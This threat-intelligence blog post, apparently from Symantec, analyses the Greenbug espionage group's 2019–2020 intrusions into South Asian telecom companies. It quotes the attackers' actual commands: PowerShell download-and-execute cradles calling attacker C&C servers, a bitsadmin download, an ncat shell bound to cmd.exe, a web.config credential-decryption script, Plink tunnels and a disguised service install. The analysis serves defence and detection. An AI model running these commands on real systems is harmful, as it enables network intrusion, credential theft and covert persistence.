Sophisticated Espionage Group Turns Attention to Telecom Providers in South Asia

The Greenbug espionage group is actively targeting telecommunications companies in South Asia, with activity seen as recently as April 2020.

There are indications that at least one of the companies was first targeted as early as April 2019.

Email appears to be the initial infection vector used by the group. Greenbug is using a mixture of off-the-shelf tools and living-off-the-land techniques in these attacks. It appears the group is interested in gaining access to database servers; we see it stealing credentials then testing connectivity to these servers using the stolen credentials. 

Greenbug is believed to likely be based out of Iran, and there has been speculation in the past that it has connections to the destructive Shamoon group, which has carried out disk-wiping attacks against organizations in Saudi Arabia. The Shamoon attacks have been extensively covered, but it was never clear how the attackers stole the credentials that allowed them to introduce their destructive malware onto victim systems. Research by Symantec, a division of Broadcom (NASDAQ: AVGO), in 2017 found evidence that Greenbug was on an organization’s network prior to a wiping attack that involved W32.Disttrack.B (Shamoon’s malware). This link was never definitively established, but cooperation between the two groups is considered a possibility.

Much of the activity we saw in this attack campaign is in line with activity we have seen from Greenbug in the past, including the use of email as an initial infection vector, the use of publicly available hack tools like Mimikatz and Plink, and the apparent focus on collecting credentials and maintaining a persistent, low-profile presence on victim networks. 

Infection vector

Across multiple victim machines, a file named proposal_pakistan110.chm:error.html was executed via an internet browser. We also see the same file being opened by archiver tools. While we were unable to retrieve the file for analysis, the same technique has been leveraged by Greenbug in the past, as early as 2016. In these earlier attacks, emails were sent to targets containing a link to a likely compromised site, which hosted an archive file. This archive contains a malicious CHM file (compiled HTML Help file), which includes an ADS (alternative data steam) to hide its payload, which is installed when executed. This file usually also contains a decoy PDF file containing an error message that says the file could not be opened correctly.

We have also seen similarly named files used in other organizations in the past to drop Trojan.Ismdoor, Greenbug’s custom malware.

Around the same time as we saw this file, a file called GRUNTStager.hta was also executed. Symantec believes the attackers used the publically available Covenant post-exploitation framework in order to gain an initial foothold in their target organizations.

Covenant is a publicly available hack tool that is described as “a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform.” It is described as being for use by “red teams,” but is also open to being abused by malicious actors.

Case study: Six-month intrusion

Greenbug was present on the systems of one organization from October 2019 to April 2020. It appeared to be interested in gaining access to the organization’s database server. The attackers were observed executing various PowerShell commands on the victim system.

The first activity was seen on October 11, 2019, when a malicious PowerShell command was executed to install a CobaltStrike Beacon module to download the next stage payload.

We were able to extract two command and control (C&C) server addresses from the PowerShell command.

Initially, the attackers leveraged this access to execute PowerShell to determine the version of PowerShell installed via $PSVersionTable. After this, we observed the attackers proceed to attempt to download a malicious file hosted on the same previously mentioned C&C server.

• PowerShell.exe -nop -w hidden -c $L=new-object net.webclient;$L.proxy=[Net.WebRequest]::GetSystemWebProxy();$L.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $L.downloadstring('http://95[.]179.177.157:445/0Zu5WpWN');

This command was executed several times but it is unclear if the attackers were successful. Approximately an hour later, the attackers were also observed attempting to perform a download to CSIDL_APPDATA\a8f4.exe via the bitsadmin utility

• bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe

The BITS administration utility can be used to download or upload jobs to be executed. It is a legitimate tool that we commonly see abused by malicious actors. The attackers used this tool to download additional malicious tools to the compromised machine.

A short time later, the attackers executed several tools from CSIDL_SYSTEM86\[REDACTED] directory:

 

The attackers were then seen launching PowerShell and attempting to execute a PowerShell script called msf.ps1. 

• PowerShell.exe -ExecutionPolicy Bypass -File CSIDL_SYSTEM_DRIVE\[REDACTED]\msf.ps1

This command was executed several times and is likely used to install a Metasploit payload to retain access to the compromised machine. That is the last activity seen on that day.

No further activity was observed until February 6, 2020, when a suspicious PowerShell command was executed. The PowerShell command follows the execution of the w3wp.exe process – an application that is used to serve requests to a web application. This may indicate that the attackers have used a webshell on the compromised machine.

The following is a copy of the PowerShell command executed by the attackers:

• $ErrorActionPreference = 'SilentlyContinue';$path="C:\[REDACTED]\";Foreach ($file in (get-childitem $path -Filter web.config -Recurse)) {; Try { $xml = [xml](get-content $file.FullName) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };if ($connstrings.ConnectionStrings.encrypteddata.cipherdata.ciphervalue -ne $null){;$tempdir = (Get-Date).Ticks;new-item $env:temp\$tempdir -ItemType directory | out-null; copy-item $file.FullName $env:temp\$tempdir;$aspnet_regiis = (get-childitem $env:windir\microsoft.net\ -Filter aspnet_regiis.exe -recurse | select-object -last 1).FullName + ' -pdf ""connectionStrings"" ' + $env:temp + '\' + $tempdir;Invoke-Expression $aspnet_regiis; Try { $xml = [xml](get-content $env:temp\$tempdir\$file) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };remove-item $env:temp\$tempdir -recurse};Foreach ($_ in $connstrings.ConnectionStrings.add) { if ($_.connectionString -ne $NULL) { write-host ""$file.Fullname --- $_.connectionString""} } };

This command is used to search for files similar to web.config. For each file found, it extracts username and password information where possible, decrypting it using the aspnet_regiis.exe utility. These credentials may be used to access organizational resources such as SQL servers.

Further activity was seen on February 12 and February 14. On February 12, the attackers returned and executed a tool: pls.exe. An hour later, the attackers bound cmd.exe to a listening port using netcat with the following command:

• CSIDL_SYSTEM_DRIVE\[REDACTED]\infopagesbackup\ncat.exe [REDACTED] 8989 -e cmd.exe

The same command was issued again about 20 minutes later.

Two days later, at 7.29am local-time, the attackers returned and connected to the listening port, launching cmd.exe.

They issued the following commands:

The next day (February 15) the attackers returned to the command prompt and issued a command to add a user and then checked that the user was added. No further activity was observed until March 4, when a PowerShell command was launched at 6.30pm local time. A WMI command was also observed being executed and used to search for a specific account. Shortly after this, the well-known credential-stealing tool Mimikatz was executed from %USERPROFILE%\documents\x64. 

On March 11, the attackers attempted to connect to a database server via PowerShell, presumably using credentials they had stolen. The attackers also used an SQL command to retrieve the version information of the database server, presumably to test the credentials and connectivity.

• PowerShell -C
  $conn=new-object System.Data.SqlClient.SQLConnection(" ""Data
  Source=[REDACTED];User [REDACTED] { $conn.Open(); }Catch { continue;
  }$cmd = new-object System.Data.SqlClient.SqlCommand(" ""select
  @@version;" "", $conn);$ds=New-Object
  system.Data.DataSet;$da=New-Object
  system.Data.SqlClient.SqlDataAdapter($cmd); [void]$da.fill($ds);$ds.Tables[0];$conn.Close();""

Further activity was seen in April. On April 8, suspicious PowerShell commands were observed attempting to download tools from a remote host. 

• PowerShell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://185.205.210.46:1003/iO0RBYy3O');
• PowerShell.exe -nop -w hidden -c $m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://185.205.210.46:1131/t8daWgy9j13');

That was the only activity seen on April 8, then on April 13 PowerShell was launched and the following commands were observed being executed:

Next, PowerShell was used to connect to a database server and check the version information, likely to confirm working credentials. This is similar to the previous PowerShell command observed with the exception of a different database server IP address.

Finally, the attackers used PowerShell to view the current ARP table (IPs and hostname of machines that have recently been communicated with) via an arp -a command. That is the last activity we observed on this machine.

A number of suspicious files were found on this machine (see IoCs). The files include the Covenant tool and Mimikatz, as already mentioned, as well as Cobalt Strike, an off-the-shelf tool that can be used to load shellcode onto victim machines, and multiple webshells.

Other machines on the same network

We saw suspicious activity on various machines on this same victim’s network. The attackers targeted several other users within the organization with the same file, proposal_pakistan110.chm:error.html, which was opened by an archiver tool and, in one instance, via the Microsoft Edge browser. Following this, we observed a backdoor being executed on the machine, alongside additional tools downloaded to the %APPDATA% directory from the attacker’s infrastructure.

Tunnels back to attackers

On one machine in this organization, we saw some suspicious PowerShell commands executed on December 9. One of the files executed by PowerShell, comms.exe, is Plink. A second similar command used the Bitvise command line tunneling client. Both tools are used to set up a tunnel to attacker-controlled infrastructure to allow Terminal Services and RDP access to an internal machine.

• "CSIDL_COMMON_APPDATA\comms\comms.exe" apps.vvvnews.com -P <?,?> -l <?,?> -pw <?,?> -proxytype http_basic –proxyip [REDACTED] -proxyport 8080 -proxyuser [REDACTED].haq -proxypass [REDACTED] -C -R [REDACTED]:4015:[REDACTED]:1540

 

• "CSIDL_COMMON_APPDATA\comms\comms.exe" [REDACTED] -pw=[REDACTED] -s2c=[REDACTED] 1819 [REDACTED] 3389 -proxy=y -proxyType=HTTP -proxyServer=[REDACTED] -proxyPort=8080 -proxyUsername=[REDACTED]\[REDACTED].haq -proxyPassword=<?,?>

Tools such as Plink and Bitvise are legitimate sysadmin tools, but have been seen being exploited by malicious actors before, including by Iranian actors earlier this year.

Plink was also seen on a second machine in this organization, which appears to have been compromised from November 2019 up to April 2020. The first suspicious activity on this machine was seen on November 13, when PowerShell Remoting was enabled on the machine to allow it to receive PowerShell commands.

A PowerShell command was used to download a file from attacker controlled infrastructure and launch it with a specific argument.

• (New-Object System.Net.WebClient).DownloadFile('http://apps[.]vvvnews.com:8080/Yft.dat', 'C:\Programdata\VMware\Vmware.exe');
  start-process C:\Programdata\VMware\Vmware.exe -arg 'L3NlcnZlcj12c2llZ3J1LmNvbSAvaWQ9NDE=';

The argument decodes to /server=vsiegru.com /id=41. Shortly after this the Plink utility was executed to establish a connection to the victim network. A second PowerShell command was then executed as follows: 

• Del -force C:\Programdata\Vmware\Vmware.exe;
  (New-Object System.Net.WebClient).DownloadFile('http://apps[.]vvvnews.com:8080/Yf.dat', 'C:\Programdata\Nt.dat');
  move C:\Programdata\Nt.dat C:\Programdata\Vmware\VMware.exe -force;
  cmd.exe /c sc create "VMwareUpdate" binpath= "C:\Programdata\Vmware\VMware.exe L3NlcnZlcj1rb3BpbGthb3J1a292LmNvbSAvaWQ9NDkgL3Byb3h5PXllcyAvcHJveHl1cmw…[REDACTED]…BUTUxcamF2ZWQubmFiaSAvcGFzc3dvcmQ9cHRtbEAyMjMz" displayname= "VMware Update Service" start= auto;
  start-service VMwareUpdate;
  Exit;

The encoded argument decodes to the following:

• /server=kopilkaorukov.com /id=49 /proxy=yes /proxyurl=http://[REDACTED]:8080 /credential=yes /username=[REDACTED]\[REDACTED] /password=[REDACTED]

The attackers were then seen adding a user to the administrators group on this machine. Two further PowerShell commands were executed on the machine about a week later, on November 16.

The first decodes to the following:

iex ((New-Object Net.WebClient).DownloadString('http://apps[.]vvvnews.com:8080/Default.htt'))

As the attackers have set up a tunnel, using the Plink tool, all connections appear to be routing to internal machine IP addresses. This was likely done as a means to evade detection.

Activity targeting telecoms

Greenbug’s activity in this campaign seems to make it clear that its main focus with these victims is to steal credentials, and to maintain a low profile on the victim’s network so the attackers can remain on it for a substantial period of time. This is typical of the activity we have seen in Greenbug victims in the past, with maintaining persistence on a victim network appearing to be one of the group’s primary goals. Greenbug has also been observed targeting telecoms companies in this same region in previous attack campaigns.

The setting up of tunnels shows how important keeping a low-profile is for this group. Its focus on stealing credentials, and on establishing connections with database servers, shows that it is aiming to achieve a high level of access to a victim’s network - access that if exploited could cause havoc on a compromised network very quickly. This level of access, if leveraged by actors using disruptive malware or ransomware, could shut down an organization’s entire network very quickly. 

Previous victims of Greenbug have included organizations in the aviation, government, investment, and education sectors, as well as the telecoms sector, with attacks against telecoms organizations in the Middle East in 2017. In 2019, we observed 18 nation-state backed groups targeting the telecoms sector worldwide, so it seems to be an area of interest for sophisticated actors recently.

It is probably not too hard to understand why the telecommunications industry, made up of phone providers and internet service providers (ISPs), is attractive to APT groups, whose main motivation is most often intelligence gathering. The access to calls, communications logs, and messages offered by telecoms companies makes them hugely valuable targets for these attackers.

We can only speculate about Greenbug’s motives for targeting these specific telecoms companies, but it is clear that comprehensive and persistent access to victim networks remains the key priority for this group. 

Protection

Symantec products protect against threats discussed in this blog with the following detections:

• Trojan.Ismdoor
• Trojan.Ismdoor!gen1
• System Infected: Trojan.Ismdoor Activity

Indicators of Compromise (IoCs)